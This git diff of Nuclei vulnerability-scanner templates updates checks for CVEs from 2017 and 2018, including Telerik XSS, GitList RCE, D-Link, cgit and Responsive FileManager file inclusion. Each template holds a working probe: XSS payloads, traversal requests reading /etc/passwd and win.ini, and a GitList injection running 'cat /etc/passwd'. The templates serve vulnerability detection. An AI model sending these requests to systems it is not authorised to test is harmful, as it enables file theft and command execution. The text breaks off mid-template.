4b0a00483046022100e3a7bed781d4b604ad852c5527542b93c43ba23beb2a4814f03ffefc446ea3f3022100cc48b9feef16e1fbe8319cefb516fae357491b94ef293e8b1d4ff7337c6c4052:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2017-9140.yaml b/poc/cve/CVE-2017-9140.yaml index c0fc58a964..aa2d166b89 100644 --- a/poc/cve/CVE-2017-9140.yaml +++ b/poc/cve/CVE-2017-9140.yaml @@ -1,45 +1,34 @@ id: CVE-2017-9140 - info: name: Reflected XSS - Telerik Reporting Module author: dhiyaneshDk severity: medium description: Cross-site scripting vulnerability in Telerik.ReportViewer.WebForms.dll in Telerik Reporting for ASP.NET WebForms Report Viewer control before R1 2017 SP2 (11.0.17.406) allows remote attackers to inject arbitrary web script or HTML via the bgColor parameter to Telerik.ReportViewer.axd. - remediation: Upgrade to application version 11.0.17.406 (2017 SP2) or later. reference: - https://www.veracode.com/blog/secure-development/anatomy-cross-site-scripting-flaw-telerik-reporting-module - https://nvd.nist.gov/vuln/detail/CVE-2017-9140 - https://www.veracode.com/blog/research/anatomy-cross-site-scripting-flaw-telerik-reporting-module - http://www.telerik.com/support/whats-new/reporting/release-history/telerik-reporting-r1-2017-sp2-(version-11-0-17-406) - - https://knowledgebase.progress.com/articles/Article/Security-Advisory-for-Resolving-Security-vulnerabilities-September-2018 + remediation: Upgrade to application version 11.0.17.406 (2017 SP2) or later. classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2017-9140 cwe-id: CWE-79 - epss-score: 0.00191 - epss-percentile: 0.56655 - cpe: cpe:2.3:a:progress:telerik_reporting:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: progress - product: telerik_reporting tags: cve,cve2017,xss,telerik - -http: +requests: - method: GET path: - '{{BaseURL}}/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)' - matchers-condition: and matchers: + - type: status + status: + - 200 - type: word words: - '#000000"onload="prompt(1)' - 'Telerik.ReportViewer.axd?name=Resources' condition: and - - type: status - status: - - 200 -# digest: 4a0a0047304502207057acc42a74560cd73e522f4324d912337cd0bf71896eb16a06fa329a1bfc13022100ab5e9ae6242b836380c9a3e5fd7425500d65abce40adbe4dea6671a1d6d35466:922c64590222798bb761d5b6d8e72950 \ No newline at end of file +# Enhanced by cs on 2022/02/28 diff --git a/poc/cve/CVE-2018-0101.yaml b/poc/cve/CVE-2018-0101.yaml index c737a701c8..617dcbd20c 100644 --- a/poc/cve/CVE-2018-0101.yaml +++ b/poc/cve/CVE-2018-0101.yaml @@ -1,5 +1,4 @@ id: cve-2018-0101 - info: name: Cisco ASA Denial-of-Service # Leads to RCE author: dwisiswant0 @@ -10,14 +9,12 @@ info: remote attacker to cause a reload of the affected system or to remotely execute code. It was also possible that the ASA could stop processing incoming Virtual Private Network (VPN) authentication requests due to a low memory condition. tags: cve,cve2018,cisco,dos,rce - requests: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} Accept: */* - - | POST / HTTP/1.1 Host: {{Hostname}} @@ -34,14 +31,12 @@ requests: A - req-condition: true matchers-condition: and matchers: - type: dsl dsl: - "status_code_1 == 200" - - type: dsl dsl: - "status_code_2 == 500" @@ -49,4 +44,4 @@ requests: - "status_code_2 == 502" - "status_code_2 == 503" - "status_code_2 == 504" - condition: or \ No newline at end of file + condition: or diff --git a/poc/cve/CVE-2018-1000533.yaml b/poc/cve/CVE-2018-1000533.yaml index 68e988328c..f04a60e01a 100644 --- a/poc/cve/CVE-2018-1000533.yaml +++ b/poc/cve/CVE-2018-1000533.yaml @@ -4,33 +4,23 @@ info: name: GitList < 0.6.0 Remote Code Execution author: pikpikcu severity: critical - description: klaussilveira GitList version <= 0.6 contains a passing incorrectly sanitized input via the `searchTree` function that can result in remote code execution. - remediation: | - Upgrade GitList to version 0.6.0 or later to mitigate this vulnerability. + description: "klaussilveira GitList version <= 0.6 contains a passing incorrectly sanitized input via the `searchTree` function that can result in remote code execution." reference: - https://github.com/vulhub/vulhub/tree/master/gitlist/CVE-2018-1000533 - https://nvd.nist.gov/vuln/detail/CVE-2018-1000533 - - https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html - - https://github.com/klaussilveira/gitlist/commit/87b8c26b023c3fc37f0796b14bb13710f397b322 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 + cvss-score: 9.80 cve-id: CVE-2018-1000533 cwe-id: CWE-20 - epss-score: 0.97242 - epss-percentile: 0.99803 - cpe: cpe:2.3:a:gitlist:gitlist:*:*:*:*:*:*:*:* - metadata: - max-request: 2 - vendor: gitlist - product: gitlist - tags: git,cve,cve2018,gitlist,vulhub,rce + tags: rce,git,cve,cve2018,gitlist -http: +requests: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} + - | POST /{{path}}/tree/a/search HTTP/1.1 Host: {{Hostname}} @@ -38,18 +28,19 @@ http: query=--open-files-in-pager=cat%20/etc/passwd - matchers: - - type: word - part: body - words: - - "root:/root:/bin/bash" - extractors: - type: regex name: path group: 1 + internal: true + part: body regex: - '(.*?)' - internal: true + + matchers: + - type: word + words: + - "root:/root:/bin/bash" part: body -# digest: 4b0a00483046022100cb447f35275656f1b69a36841141d44f37c19847ed6c675ed928be20db8b5e970221009ac47cd87e904bc6c77372d7e1547ecb93b301a5d4e5c4ad43bc4d62231b4087:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/04/08 diff --git a/poc/cve/CVE-2018-1000856.yaml b/poc/cve/CVE-2018-1000856.yaml index 6641b1a909..836d88b898 100644 --- a/poc/cve/CVE-2018-1000856.yaml +++ b/poc/cve/CVE-2018-1000856.yaml @@ -1,13 +1,10 @@ id: CVE-2018-1000856 - info: name: DomainMOD 4.11.01 - Cross-Site Scripting author: arafatansari severity: medium description: | - DomainMOD 4.11.01 is vulnerable to cross-site scripting via the segments/add.php Segment Name field. - remediation: | - Upgrade to the latest version of DomainMOD or apply the vendor-provided patch to mitigate this vulnerability. + DomainMOD 4.11.01 is vulnerable to Cross Site Scripting (XSS) via segments/add.php Segment Name field. reference: - https://github.com/domainmod/domainmod/issues/80 - https://nvd.nist.gov/vuln/detail/CVE-2018-1000856 @@ -16,17 +13,10 @@ info: cvss-score: 4.8 cve-id: CVE-2018-1000856 cwe-id: CWE-79 - epss-score: 0.00101 - epss-percentile: 0.41274 - cpe: cpe:2.3:a:domainmod:domainmod:*:*:*:*:*:*:*:* metadata: - verified: true - max-request: 3 - vendor: domainmod - product: domainmod + verified: "true" tags: cve,cve2018,domainmod,xss,authenticated - -http: +requests: - raw: - | POST / HTTP/1.1 @@ -44,23 +34,19 @@ http: GET /segments/ HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded - - host-redirects: true + cookie-reuse: true + redirects: true max-redirects: 3 - matchers-condition: and matchers: - type: word part: body words: - "" - - type: word part: header words: - text/html - - type: status status: - 200 -# digest: 4a0a0047304502204ee309065e5e0306ba0a5ab03ab7afb1f0f45ee06364730726979986ad7c518a022100bd53b5ce068753efed007fb99117704f5f715e2c11173ec8a897922d1cde264e:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2018-10095.yaml b/poc/cve/CVE-2018-10095.yaml index 9948279533..5d28b1acd4 100644 --- a/poc/cve/CVE-2018-10095.yaml +++ b/poc/cve/CVE-2018-10095.yaml @@ -1,35 +1,52 @@ id: CVE-2018-10095 + info: - name: Dolibarr before 7.0.2 allows XSS. + name: Dolibarr <7.0.2 - Cross-Site Scripting author: pikpikcu severity: medium description: | - Cross-site scripting (XSS) vulnerability in Dolibarr before 7.0.2 allows remote attackers to inject arbitrary web script or HTML via the foruserlogin parameter to adherents/cartes/carte.php. + Dolibarr before 7.0.2 is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via the foruserlogin parameter to adherents/cartes/carte.php. + remediation: | + Upgrade to Dolibarr version 7.0.2 or later to mitigate this vulnerability. reference: - - https://nvd.nist.gov/vuln/detail/CVE-2018-10095 - https://sysdream.com/news/lab/2018-05-21-cve-2018-10095-dolibarr-xss-injection-vulnerability/ - https://github.com/Dolibarr/dolibarr/commit/1dc466e1fb687cfe647de4af891720419823ed56 - https://github.com/Dolibarr/dolibarr/blob/7.0.2/ChangeLog + - https://nvd.nist.gov/vuln/detail/CVE-2018-10095 + - http://www.openwall.com/lists/oss-security/2018/05/21/3 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2018-10095 cwe-id: CWE-79 + epss-score: 0.95296 + epss-percentile: 0.99159 + cpe: cpe:2.3:a:dolibarr:dolibarr:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: dolibarr + product: dolibarr tags: cve,cve2018,xss,dolibarr -requests: + +http: - method: GET path: - "{{BaseURL}}/dolibarr/adherents/cartes/carte.php?&mode=cardlogin&foruserlogin=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&model=5160&optioncss=print" + matchers-condition: and matchers: - type: word + part: body words: - '' - part: body - - type: status - status: - - 200 + - type: word part: header words: - text/html + + - type: status + status: + - 200 + +# digest: 4a0a004730450220503fdaccb2bbb821d97ed6d29df1561edf566a6ae89c070e0e00fdced71f1ff0022100a4ca3374746b32a533ab7099bb4cf5710a0884e69b38f03fc86cd120104618b7:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/CVE-2018-10230.yaml b/poc/cve/CVE-2018-10230.yaml index 281d1a1d81..cca03a385b 100644 --- a/poc/cve/CVE-2018-10230.yaml +++ b/poc/cve/CVE-2018-10230.yaml @@ -1,24 +1,36 @@ id: CVE-2018-10230 + info: - name: Zend Server < 9.13 - XSS + name: Zend Server <9.13 - Cross-Site Scripting author: marcos_iaf severity: medium description: | - A vulnerability in ZendServer < 9.13 allows an attacker to perform Reflected XSS via the debug_host parameter. + Zend Server before version 9.13 is vulnerable to cross-site scripting via the debug_host parameter. + remediation: | + Upgrade Zend Server to version 9.13 or later to mitigate this vulnerability. reference: - https://www.synacktiv.com/ressources/zend_server_9_1_3_xss.pdf - - https://nvd.nist.gov/vuln/detail/CVE-2018-10230 - https://www.zend.com/en/products/server/release-notes + - https://nvd.nist.gov/vuln/detail/CVE-2018-10230 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2018-10230 cwe-id: CWE-79 + epss-score: 0.00122 + epss-percentile: 0.46323 + cpe: cpe:2.3:a:zend:zend_server:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: zend + product: zend_server tags: cve,cve2018,xss,zend -requests: + +http: - method: GET path: - "{{BaseURL}}/index.php?debug_host=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&start_debug=1" + matchers-condition: and matchers: - type: word @@ -27,10 +39,13 @@ requests: - "" - "is not allowed to open debug sessions" condition: and + - type: word part: header words: - text/html + - type: status status: - 200 +# digest: 4b0a00483046022100aea03256dfa10f799e16725ed2c477051df7bd5443429430877c7241e7fc0fd20221008e27e4cb55ea479e8ed7968f3d87766558b2db1bb677aa21da962d79c9b724f5:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2018-10822.yaml b/poc/cve/CVE-2018-10822.yaml index 64b8bf0b32..5cc72b946d 100644 --- a/poc/cve/CVE-2018-10822.yaml +++ b/poc/cve/CVE-2018-10822.yaml @@ -5,26 +5,34 @@ info: author: daffainfo severity: high description: D-Link routers DWR-116 through 1.06, DIR-140L through 1.02, DIR-640L through 1.02,DWR-512 through 2.02,DWR-712 through 2.02,DWR-912 through 2.02, DWR-921 through 2.02, DWR-111 through 1.01, and probably others with the same type of firmware allows remote attackers to read arbitrary files via a /.. or // after "GET /uir" in an HTTP request to the web interface. + remediation: | + Apply the latest firmware update provided by D-Link to fix the vulnerability reference: - https://www.exploit-db.com/exploits/45678 - http://sploit.tech/2018/10/12/D-Link.html - https://nvd.nist.gov/vuln/detail/CVE-2018-10822 - https://seclists.org/fulldisclosure/2018/Oct/36 classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2018-10822 cwe-id: CWE-22 - tags: cve,cve2018,lfi,router,dlink + epss-score: 0.10309 + epss-percentile: 0.94376 + cpe: cpe:2.3:o:dlink:dwr-116_firmware:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: dlink + product: dwr-116_firmware + tags: dlink,edb,seclists,cve,cve2018,lfi,router -requests: +http: - method: GET path: - "{{BaseURL}}/uir//etc/passwd" matchers-condition: and matchers: - - type: regex regex: - "root:.*:0:0:" @@ -32,5 +40,4 @@ requests: - type: status status: - 200 - -# Enhanced by mp on 2022/06/19 +# digest: 4a0a00473045022100f78c13d99d65eb2880f541531216e727f5efe086bdbf5884f6134bf5aafe17f3022035173e7edb98d25a0d88e006a4b319d429880a98bfa7e0707199db060e9b0f1e:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2018-13380.yaml b/poc/cve/CVE-2018-13380.yaml index e1e6b0f3db..36d649a0b8 100644 --- a/poc/cve/CVE-2018-13380.yaml +++ b/poc/cve/CVE-2018-13380.yaml @@ -1,21 +1,32 @@ id: CVE-2018-13380 info: - name: Fortinet FortiOS Cross-Site Scripting + name: Fortinet FortiOS - Cross-Site Scripting author: shelld3v,AaronChen0 severity: medium - description: A Cross-site Scripting (XSS) vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal allows attacker to execute unauthorized malicious script code via the error or message handling parameters. + description: Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal are vulnerable to cross-site scripting and allows attacker to execute unauthorized malicious script code via the error or message handling parameters. + remediation: | + Apply the latest security patches or updates provided by Fortinet to fix this vulnerability. reference: - - https://nvd.nist.gov/vuln/detail/CVE-2018-13380 - https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html + - https://fortiguard.com/advisory/FG-IR-18-383 + - https://fortiguard.com/advisory/FG-IR-20-230 + - https://nvd.nist.gov/vuln/detail/CVE-2018-13380 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 + cvss-score: 6.1 cve-id: CVE-2018-13380 cwe-id: CWE-79 + epss-score: 0.00122 + epss-percentile: 0.46323 + cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: fortinet + product: fortios tags: cve,cve2018,fortios,xss,fortinet -requests: +http: - method: GET path: - "{{BaseURL}}/message?title=x&msg=%26%23%3Csvg/onload=alert(1337)%3E%3B" @@ -32,10 +43,11 @@ requests: - type: word part: header + negative: true words: - "application/json" - negative: true - type: status status: - 200 +# digest: 4a0a0047304502206ab225b4705ce3db314b245cfec6e012e94044d4209e5df98d39f0a05fa1bc53022100c21d77f5146d53ad87432f5f0963b8b27d95638346522784c2327e51af5fa17a:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2018-14474.yaml b/poc/cve/CVE-2018-14474.yaml index 739b419e67..16b38e2ac9 100644 --- a/poc/cve/CVE-2018-14474.yaml +++ b/poc/cve/CVE-2018-14474.yaml @@ -1,28 +1,42 @@ id: CVE-2018-14474 info: - name: OrangeForum 1.4.0 - Open Redirect + name: Orange Forum 1.4.0 - Open Redirect author: 0x_Akoko severity: medium - description: views/auth.go in Orange Forum 1.4.0 allows Open Redirection via the next parameter to /login or /signup. + description: | + Orange Forum 1.4.0 contains an open redirect vulnerability in views/auth.go via the next parameter to /login or /signup. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. + remediation: | + Upgrade to a patched version of Orange Forum or apply the necessary security patches to fix the open redirect vulnerability. reference: + - https://github.com/s-gv/orangeforum/commit/1f6313cb3a1e755880fc1354f3e1efc4dd2dd4aa - https://seclists.org/fulldisclosure/2019/Jan/32 - https://vuldb.com/?id.122045 + - https://nvd.nist.gov/vuln/detail/CVE-2018-14474 classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2018-14474 cwe-id: CWE-601 - tags: cve,cve2018,redirect,orangeforum + epss-score: 0.00068 + epss-percentile: 0.28476 + cpe: cpe:2.3:a:goodoldweb:orange_forum:1.4.0:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: goodoldweb + product: orange_forum + tags: cve2018,redirect,orangeforum,oss,seclists,cve -requests: +http: - method: GET path: - - '{{BaseURL}}/login?next=http://example.com/?app.scan/' - - '{{BaseURL}}/signup?next=http://example.com/?app.scan/' + - '{{BaseURL}}/login?next=http://interact.sh/?app.scan/' + - '{{BaseURL}}/signup?next=http://interact.sh/?app.scan/' + stop-at-first-match: true matchers: - type: regex part: header regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1 +# digest: 4b0a00483046022100fef0d88a6e2541ea1b8d82eebc660655dce4ada8c13059d9383df444be9d7d6f022100b1fe968d288f030ef4dae4871c658856fa50b3fb14f67f44c58bb0d95aeb912a:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2018-14912.yaml b/poc/cve/CVE-2018-14912.yaml index f54857e4e3..8fd8fe4802 100644 --- a/poc/cve/CVE-2018-14912.yaml +++ b/poc/cve/CVE-2018-14912.yaml @@ -1,27 +1,44 @@ id: CVE-2018-14912 + info: - name: cgit < 1.2.1 Directory Traversal + name: cgit < 1.2.1 - Directory Traversal author: 0x_Akoko - severity: critical - description: cgit_clone_objects in CGit before 1.2.1 has a directory traversal vulnerability when `enable-http-clone=1` is not turned off, as demonstrated by a cgit/cgit.cgi/git/objects/?path=../ request. + severity: high + description: cGit < 1.2.1 via cgit_clone_objects has a directory traversal vulnerability when `enable-http-clone=1` is not turned off, as demonstrated by a cgit/cgit.cgi/git/objects/?path=../ request. + remediation: | + Upgrade cgit to version 1.2.1 or later to mitigate the vulnerability. reference: - https://cxsecurity.com/issue/WLB-2018080034 - https://nvd.nist.gov/vuln/detail/CVE-2018-14912 + - https://lists.zx2c4.com/pipermail/cgit/2018-August/004176.html + - https://bugs.chromium.org/p/project-zero/issues/detail?id=1627 + - https://lists.debian.org/debian-lts-announce/2018/08/msg00005.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2018-14912 cwe-id: CWE-22 - tags: cve,cve18,Cgit,lfi -requests: + epss-score: 0.96633 + epss-percentile: 0.9953 + cpe: cpe:2.3:a:cgit_project:cgit:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: cgit_project + product: cgit + tags: cve,cve2018,cgit,lfi + +http: - method: GET path: - "{{BaseURL}}/cgit/cgit.cgi/git/objects/?path=../../../../../../../etc/passwd" + matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" + - type: status status: - 200 +# digest: 490a0046304402206482c0ca92c15f38ede4738b7bdc3e1df5a57e7895875742a9a0e71ae236caf0022005078fd001d2e64ae8b4472db736e3f910da9be7529f1c2e7b2968ab6a033bb0:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2018-14931.yaml b/poc/cve/CVE-2018-14931.yaml index 0449c0528d..ff7eea9e6c 100644 --- a/poc/cve/CVE-2018-14931.yaml +++ b/poc/cve/CVE-2018-14931.yaml @@ -1,37 +1,26 @@ id: CVE-2018-14931 - info: name: Polarisft Intellect Core Banking Software Version 9.7.1 - Open Redirect author: 0x_Akoko severity: medium description: Polarisft Intellect Core Banking Software Version 9.7.1 is susceptible to an open redirect issue in the Core and Portal modules via the /IntellectMain.jsp?IntellectSystem= URI. - remediation: | - Apply the latest security patches or updates provided by Polarisft to fix the open redirect vulnerability. reference: - https://neetech18.blogspot.com/2019/03/polaris-intellect-core-banking-software_31.html - - https://nvd.nist.gov/vuln/detail/CVE-2018-14931 + - https://www.cvedetails.com/cve/CVE-2018-14931 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2018-14931 cwe-id: CWE-601 - epss-score: 0.00118 - epss-percentile: 0.45709 - cpe: cpe:2.3:a:polarisft:intellect_core_banking:9.7.1:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: polarisft - product: intellect_core_banking tags: cve,cve2018,redirect,polarisft,intellect - -http: +requests: - method: GET path: - '{{BaseURL}}/IntellectMain.jsp?IntellectSystem=https://www.interact.sh' - matchers: - type: regex part: header regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1 -# digest: 4a0a00473045022100aaab06dde875c42a87309dac35650027dd2e91571ed681caff9cc63705c7f56b0220071848218eba6cc126a7f48da86570c843dd8c307447fe0119c53888d66d11d6:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 + +# Enhanced by mp on 2022/04/26 diff --git a/poc/cve/CVE-2018-15535.yaml b/poc/cve/CVE-2018-15535.yaml index ed7aa501ed..6f97db14dd 100644 --- a/poc/cve/CVE-2018-15535.yaml +++ b/poc/cve/CVE-2018-15535.yaml @@ -1,9 +1,12 @@ id: CVE-2018-15535 + info: name: Responsive FileManager <9.13.4 - Local File Inclusion author: daffainfo severity: high - description: Responsive FileManager before version 9.13.4 is susceptible to local file inclusion via filemanager/ajax_calls.php because it uses external input to construct a pathname that should be within a restricted directory. Instead, because it does not properly neutralize get_file sequences such as ".." can resolve to a location that is outside of that directory, aka local file inclusion. + description: Responsive FileManager before version 9.13.4 is vulnerable to local file inclusion via filemanager/ajax_calls.php because it uses external input to construct a pathname that should be within a restricted directory, aka local file inclusion. + remediation: | + Upgrade to Responsive FileManager version 9.13.4 or later to fix the vulnerability. reference: - https://www.exploit-db.com/exploits/45271 - https://nvd.nist.gov/vuln/detail/CVE-2018-15535 @@ -14,18 +17,27 @@ info: cvss-score: 7.5 cve-id: CVE-2018-15535 cwe-id: CWE-22 - tags: cve,cve2018,lfi -requests: + epss-score: 0.97149 + epss-percentile: 0.99749 + cpe: cpe:2.3:a:tecrail:responsive_filemanager:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: tecrail + product: responsive_filemanager + tags: cve,cve2018,lfi,edb,seclists + +http: - method: GET path: - "{{BaseURL}}/filemanager/ajax_calls.php?action=get_file&sub_action=preview&preview_mode=text&title=source&file=../../../../etc/passwd" + matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" + - type: status status: - 200 - -# Enhanced by mp on 2022/07/07 +# digest: 4a0a00473045022100ee54f126d8edd15e9cb9f4990712d5840ff03d732e20f4e3f54303eb7fa3fc7d0220303e1555f5ef9261aebca77c01c5cd22ed6f57d5cfbdb590e1292d398826add4:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2018-16059.yaml b/poc/cve/CVE-2018-16059.yaml index 8561d98e9f..554d28cf52 100644 --- a/poc/cve/CVE-2018-16059.yaml +++ b/poc/cve/CVE-2018-16059.yaml @@ -1,33 +1,48 @@ id: CVE-2018-16059 info: - name: WirelessHART Fieldgate SWG70 3.0 - Directory Traversal + name: WirelessHART Fieldgate SWG70 3.0 - Local File Inclusion author: daffainfo severity: medium + description: WirelessHART Fieldgate SWG70 3.0 is vulnerable to local file inclusion via the fcgi-bin/wgsetcgi filename parameter. + remediation: | + Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in WirelessHART Fieldgate SWG70 3.0. reference: - - https://nvd.nist.gov/vuln/detail/CVE-2018-16059 - https://www.exploit-db.com/exploits/45342 - tags: cve,cve2018,iot,lfi + - https://ics-cert.us-cert.gov/advisories/ICSA-19-073-03 + - https://nvd.nist.gov/vuln/detail/CVE-2018-16059 + - https://www.exploit-db.com/exploits/45342/ + - https://cert.vde.com/en-us/advisories/vde-2019-002 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.30 + cvss-score: 5.3 cve-id: CVE-2018-16059 cwe-id: CWE-22 - description: "Endress+Hauser WirelessHART Fieldgate SWG70 3.x devices allow Directory Traversal via the fcgi-bin/wgsetcgi filename parameter." + epss-score: 0.3698 + epss-percentile: 0.96804 + cpe: cpe:2.3:o:endress:wirelesshart_fieldgate_swg70_firmware:3.00.07:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: endress + product: wirelesshart_fieldgate_swg70_firmware + tags: cve,cve2018,iot,lfi,edb -requests: +http: - method: POST path: - "{{BaseURL}}/fcgi-bin/wgsetcgi" + body: 'action=ajax&command=4&filename=../../../../../../../../../../etc/passwd&origin=cw.Communication.File.Read&transaction=fileCommand' matchers-condition: and matchers: - type: regex + part: body regex: - "root:.*:0:0:" - part: body - type: status status: - 200 + +# digest: 4a0a004730450221009d68f77803cff485074d8429d526b002434ed91f80a1a7d91b416d86882ea713022079aa4c7ffdbf893d1769910ad2389098a4fd12ef7d62b3a814f70e92fbb8789e:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/CVE-2018-16133.yaml b/poc/cve/CVE-2018-16133.yaml index bf652a55d2..05ebf34a12 100644 --- a/poc/cve/CVE-2018-16133.yaml +++ b/poc/cve/CVE-2018-16133.yaml @@ -1,20 +1,32 @@ id: CVE-2018-16133 + info: - name: Cybrotech CyBroHttpServer 1.0.3 Directory Traversal + name: Cybrotech CyBroHttpServer 1.0.3 - Local File Inclusion author: 0x_Akoko severity: medium - description: Cybrotech CyBroHttpServer 1.0.3 allows Directory Traversal in the URI. + description: Cybrotech CyBroHttpServer 1.0.3 is vulnerable to local file inclusion in the URI. + remediation: | + Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in Cybrotech CyBroHttpServer 1.0.3. reference: - https://packetstormsecurity.com/files/149177/Cybrotech-CyBroHttpServer-1.0.3-Directory-Traversal.html - http://www.cybrotech.com/ - - https://www.cvedetails.com/cve/CVE-2018-16133 + - https://github.com/EmreOvunc/CyBroHttpServer-v1.0.3-Directory-Traversal + - https://nvd.nist.gov/vuln/detail/CVE-2018-16133 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2018-16133 cwe-id: CWE-22 - tags: cve,cve2018,cybrotech,lfi -requests: + epss-score: 0.05113 + epss-percentile: 0.92093 + cpe: cpe:2.3:a:cybrotech:cybrohttpserver:1.0.3:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: cybrotech + product: cybrohttpserver + tags: lfi,packetstorm,cve,cve2018,cybrotech + +http: - raw: - |+ GET \..\..\..\..\Windows\win.ini HTTP/1.1 @@ -29,3 +41,4 @@ requests: - "fonts" - "extensions" condition: and +# digest: 4b0a00483046022100803913dd9f8320843c85f7cbb2dbe6ba641aa63e4c1e3b55e636899455cb1798022100feae4373fbfd611b245c3d788d3cea8dc09c798b264cd6007f4250615addddfb:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2018-16299.yaml b/poc/cve/CVE-2018-16299.yaml index 595e32acc7..6d3e5d3046 100644 --- a/poc/cve/CVE-2018-16299.yaml +++ b/poc/cve/CVE-2018-16299.yaml @@ -1,29 +1,45 @@ id: CVE-2018-16299 + info: - name: WordPress Plugin Localize My Post 1.0 - LFI + name: WordPress Localize My Post 1.0 - Local File Inclusion author: 0x_Akoko,0x240x23elu severity: high - description: The Localize My Post plugin 1.0 for WordPress allows Directory Traversal via the ajax/include.php file parameter. + description: | + WordPress Localize My Post 1.0 is susceptible to local file inclusion via the ajax/include.php file parameter. + remediation: | + Update to the latest version of WordPress Localize My Post plugin. reference: - https://www.exploit-db.com/exploits/45439 - - https://www.exploit-db.com/exploits/45439/ - https://packetstormsecurity.com/files/149433/WordPress-Localize-My-Post-1.0-Local-File-Inclusion.html - https://github.com/julianburr/wp-plugin-localizemypost/issues/1 + - https://nvd.nist.gov/vuln/detail/CVE-2018-16299 classification: cvss-metrics: 